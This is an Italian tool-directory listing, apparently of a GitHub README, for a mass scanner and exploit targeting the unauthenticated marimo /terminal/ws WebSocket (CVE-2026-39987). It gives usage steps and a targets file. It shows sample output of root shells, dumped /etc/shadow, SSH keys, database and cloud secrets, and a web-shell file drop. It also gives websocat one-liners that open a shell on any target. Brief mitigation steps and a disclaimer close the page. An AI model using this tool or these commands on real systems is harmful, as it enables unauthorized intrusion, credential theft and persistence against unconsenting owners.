Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-39987 — marimo è un notebook Python reattivo. Prima della versione 0.23.0, Marimo presenta una vulnerabilità RCE pre-autenticazione. | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2026-39987
Escalation di PrivilegiExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubnxploited/cve-2026-39987

CVE-2026-39987

marimo è un notebook Python reattivo. Prima della versione 0.23.0, Marimo presenta una vulnerabilità RCE pre-autenticazione.

Vedi Repository
144 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-39987

marimo è un notebook Python reattivo. Prima della versione 0.23.0, Marimo presenta una vulnerabilità RCE pre-autenticazione

root@kitploit:~
   ___  _        ___     __  __  __  __      ___  __  __  _______
  / (_)(_|   |_// (_)   /  )/  \/  )/       /   \/  |/  |/  \   /
 |       |   |  \__       /|    | /| __       __/\_/|\_/|\__/  / 
 |       |   |  /   -----/ |    |/ |/  \-----   \   |   |/  \ /  
  \___/   \_/   \___/   /___\__//___\__/    \___/   |   |\__//   

CVE-2026-39987

Marimo /terminal/ws — RCE pre-autenticazione tramite WebSocket non autenticato

Scanner di Massa · Enumerazione Completa · Rilevamento Intelligente


Python CVE Severity Type Platform License


Autore: Nxploited  ·  Telegram: @KNxploited


📢 Unisciti al canale Telegram per le ultime zero-day ed exploit gratuiti:

🔗 Nxploited ZeroDay Hub — t.me/KNxploited


📖 Panoramica

CVE-2026-39987 è una vulnerabilità critica di RCE (Remote Code Execution) pre-autenticazione che colpisce Marimo, una piattaforma open-source di notebook Python reattivi.

L'endpoint WebSocket del terminale /terminal/ws non dispone completamente della convalida dell'autenticazione, consentendo a qualsiasi attaccante remoto non autenticato di ottenere una shell PTY completa ed eseguire comandi di sistema arbitrari con i privilegi del processo in esecuzione — spesso root in distribuzioni containerizzate.

A differenza di altri endpoint WebSocket come /ws, che invocano correttamente validate_auth() prima di accettare connessioni, l'endpoint /terminal/ws verifica solo la modalità di esecuzione e la compatibilità della piattaforma, saltando completamente l'autenticazione.

✅ Corretto in: marimo >= 0.23.0 ❌ Tutte le versioni precedenti alla 0.23.0 sono vulnerabili


🔍 Dettagli della Vulnerabilità

🧩 Causa Principale

root@kitploit:~
/ws          →  calls validate_auth()  ✅  Authentication enforced
/terminal/ws →  skips validate_auth()  ❌  No authentication

Il gestore /terminal/ws controlla solo:

  1. Se il server è in esecuzione nella modalità corretta
  2. Se la piattaforma supporta l'emulazione del terminale

Non convalida mai token di sessione, cookie o qualsiasi forma di identità — rendendo ogni istanza Marimo esposta una shell diretta.


✨ Funzionalità

  • 🔥 Scanner di Massa — Scansiona migliaia di target contemporaneamente con pool di thread configurabili
  • 🧠 Rilevamento Intelligente dell'Ambiente — Rileva automaticamente: Marimo · cPanel/WHM · Plesk · Apache · Nginx · Docker · Node.js · app Python
  • 🐚 Accesso Completo alla Shell PTY — Shell WebSocket non autenticata con emulazione completa del terminale
  • 📓 Enumerazione dei Notebook — Scopre e legge ricorsivamente tutti i notebook Marimo .py
  • 🔑 Raccolta di Token — Estrae i token Marimo da argomenti CLI, variabili ENV e file di log
  • 🗄️ Scoperta dei Database — Sonda automaticamente MySQL · PostgreSQL · Redis · SQLite · DuckDB
  • 🔐 Estrazione di Credenziali — File .env · wp-config.php · chiavi private SSH · /etc/shadow
  • 📂 Verifica Web Shell (Nx Drop) — Scrive e verifica via HTTP un file proof-of-concept nella webroot
  • 📊 Output Strutturato per Target — Ogni target riceve la propria directory di output organizzata
  • 🎨 Interfaccia Terminale Avanzata — Interfaccia professionale con codifica a colori, pannelli, monitoraggio dei progressi e statistiche in tempo reale

⚙️ Requisiti

root@kitploit:~
Python 3.10 or higher

Installa le dipendenze:

root@kitploit:~
pip install websockets rich requests urllib3

Oppure utilizzando il file dei requisiti:

root@kitploit:~
pip install -r requirements.txt

requirements.txt

root@kitploit:~
websockets
rich
requests
urllib3

🚀 Utilizzo

Passo 1 — Prepara il tuo file dei target

Crea un file chiamato targets.txt con un target per riga. Lo strumento accetta tutti i formati:

root@kitploit:~
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718

Formati supportati: IP · IP:porta · dominio · dominio:porta · http:// · https:// · ws:// · wss://


Passo 2 — Avvia lo scanner

root@kitploit:~
python3 CVE-2026-39987.py

Passo 3 — Configurazione interattiva

root@kitploit:~
  ▸ Targets file  (default: targets.txt) : targets.txt
  ▸ Threads       (default: 50)          : 100

Intervallo thread: 1–300. Consigliato: 50–150 in base alla tua rete.


🖥️ Anteprima dell'Output

Interfaccia del Terminale

root@kitploit:~
  ╭──────────────────────────────────────────────────────────╮
  │ CVE-2026-39987  ·  Marimo WebSocket RCE                  │
  │ MASS SCANNER  ·  FULL ENUM  ·  SMART DETECT              │
  │ By: Nxploited  ·  github.com/Nxploited  ·  @KNxploited   │
  ╰──────────────────────────────────────────────────────────╯

  ══════════════ ws://192.168.1.100:2718/terminal/ws ══════════

  ╭────────────────────────────────────────╮
  │  ◈◈◈  ROOT ACCESS  ◈◈◈                │
  │  ws://192.168.1.100:2718               │
  │  uid ▸  uid=0(root)  groups=[root]     │
  ╰────────────────────────────────────────╯

  ──  ENVIRONMENT  ──────────────────────────────────────────
    ✦  Type                  MARIMO
    ◈  Docker                True
    ◈  Marimo version        0.22.1
    ◈  Notebook directory    /app/notebooks

  ──  MARIMO — NOTEBOOKS  ───────────────────────────────────
    ✦  Notebooks             7 found
       ·                     /app/notebooks/analysis.py
       ·                     /app/notebooks/data_pipeline.py
       ·                     /app/notebooks/etl_job.py

  ──  MARIMO — TOKENS  ──────────────────────────────────────
    ✦  Token CLI             secret-token-abc123xyz
    ✦  .marimo.toml          /root/.marimo.toml

  ──  /etc  SENSITIVE  ──────────────────────────────────────
    ✦  /etc/shadow           READABLE  [42 entries]
    ◈  /etc/passwd           [42 lines]
    ◈  /etc/crontab          [12 lines]

  ──  SSH KEYS  ─────────────────────────────────────────────
    ✦  /root/.ssh/id_rsa     FOUND
    ✦  /root/.ssh/id_ed25519 FOUND

  ──  DATABASES  ────────────────────────────────────────────
    ✦  MySQL                 DATABASES LISTED
    ✦  Redis                 PONG — NO AUTH
    ✦  DuckDB files          /app/notebooks/data.duckdb

  ──  SENSITIVE ENV VARS  ───────────────────────────────────
    ✦  DATABASE_URL          postgresql://admin:p4ss@db:5432/prod
    ✦  AWS_SECRET_ACCESS_KEY redacted...

  ──  NX FILE DROP  ──────────────────────────────��──────────
    ✦  Shell write           /app/notebooks/Nx.py
    ✦  HTTP access           http://192.168.1.100:2718/Nx.py

  ──  COMPLETE  ─────────────────────────────────────────────
    ◈  Saved to              nx_output/192.168.1.100_2718/

  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

Avanzamento in Tempo Reale

root@kitploit:~
  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

📁 Struttura dell'Output

root@kitploit:~
nx_output/
│
├── summary.txt                    ← Master summary of all targets
├── curls.txt                      ← websocat one-liners for all shells
├── Nx.txt                         ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/            ← Per-target directory
    ├── summary.txt                ← Target summary & connect command
    ├── identity.txt               ← id · whoami · uname · hostname · shell
    ├── users.txt                  ← /etc/passwd · shadow · sudoers · last
    ├── ssh_keys.txt               ← Discovered SSH private keys & auth keys
    ├── etc_data.txt               ← /etc/hosts · resolv.conf · crontab · env
    ├── env_sensitive.txt          ← Filtered sensitive environment variables
    ├── databases.txt              ← MySQL · Redis · PostgreSQL · config files
    ├── app_configs.txt            ← .env · wp-config.php · settings.py · etc
    ├── notebooks.txt              ← Full content of all Marimo notebooks
    ├── marimo_toml.txt            ← .marimo.toml configuration files
    ├── marimo_tokens.txt          ← All extracted Marimo auth tokens
    ├── dotenv.txt                 ← .env / .env.local / .env.production
    ├── databases_marimo.txt       ← DuckDB · SQLite · DB URLs from notebooks
    ├── webserver_configs.txt      ← Apache/Nginx VirtualHosts & configs
    ├── network.txt                ← Interfaces · routes · open ports · iptables
    ├── processes.txt              ← ps aux · crontab · cron.d · systemd units
    ├── logs.txt                   ← auth.log · syslog · access.log · error.log
    ├── nx_file.txt                ← Nx drop path · web root · HTTP URL
    └── software.txt               ← PHP · Python · Node.js versions

📊 Livelli di Accesso


🌍 Ambienti Supportati


🔌 Connessione Manuale

Una volta identificato un target vulnerabile, puoi connetterti manualmente utilizzando websocat:

root@kitploit:~
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases

# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"

# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"

Il valore dell'header Authorization è irrilevante — l'endpoint accetta qualsiasi token o nessun token.


🛡️ Mitigazione

Se stai eseguendo Marimo in un ambiente di produzione o esposto:

  1. Aggiorna immediatamente a marimo >= 0.23.0
  2. Posiziona Marimo dietro un reverse proxy autenticato (Nginx + BasicAuth / proxy OAuth2)
  3. Associa Marimo solo a 127.0.0.1 — non esporlo mai direttamente su internet
  4. Usa regole firewall per limitare l'accesso a /terminal/ws
  5. Esegui un audit della tua distribuzione per individuare istanze esposte

⚠️ Dichiarazione di Non Responsabilità

Questo strumento è fornito esclusivamente per scopi educativi, test di penetrazione autorizzati e ricerca di sicurezza legittima.

Devi avere l'autorizzazione scritta esplicita del proprietario del sistema prima di eseguire questo strumento contro qualsiasi target. L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai il permesso di testare è illegale e può comportare azioni legali civili e/o penali ai sensi delle leggi applicabili sui crimini informatici, incluse ma non limitate al Computer Fraud and Abuse Act (CFAA), al Computer Misuse Act, alle direttive UE sulla criminalità informatica e alla legislazione equivalente nella tua giurisdizione.

L'autore non si assume alcuna responsabilità per danni, perdita di dati o conseguenze legali derivanti dall'uso improprio di questo strumento.

Usa responsabilmente. Hackera eticamente.


👤 Autore

Scarica lo strumento
ProprietàValore
ID CVECVE-2026-39987
Software Colpitomarimo < 0.23.0
Classe di VulnerabilitàRCE pre-autenticazione tramite WebSocket non autenticato
Endpoint Colpito/terminal/ws
Vettore di AttaccoRete
Autenticazione Richiesta❌ Nessuna
Interazione Utente❌ Nessuna
Gravità🔴 Critica
ImpattoShell PTY completa · Esecuzione arbitraria di comandi
Versione Correttamarimo 0.23.0
IconaLivelloDescrizione
✦✦✦ 🟢ROOTuid=0 — Accesso root completo
✦✦ 🟡PRIVMembro di sudo · wheel · docker · disk · adm
✦ 🔵SHELLAccesso shell senza privilegi
✗ 🔴FAILConnessione rifiutata · timeout · errore HTTP
AmbienteRilevamento AutomaticoRaccolta Specializzata
🟣 Marimo✅Notebook · Token · DuckDB · .marimo.toml · mount
🔵 cPanel / WHM✅userdomains · password MySQL · elenco utenti WHM
🟠 Plesk✅psa.shadow · vhost · credenziali admin MySQL
🌐 Apache✅VirtualHost · sites-enabled · log di accesso/errore
🟢 Nginx✅Server block · conf.d · log di accesso/errore
🐍 App Python✅.env · settings.py · config.py · Pipfile
🟡 Node.js✅.env · package.json · directory pubblica
🐳 Docker✅Bind mount · rilevamento dello storage locale del container
⚙️ Generico✅Suite di enumerazione completa su ambienti sconosciuti
UsernameNxploited
GitHubgithub.com/Nxploited
Telegram@KNxploited
CanaleNxploited ZeroDay Hub


"Più silenzioso diventi, più riesci ad ascoltare."


⭐ Se questo strumento ti è stato utile, lascia una stella e unisciti al canale per altre zero-day! ⭐

🔗 t.me/KNxploited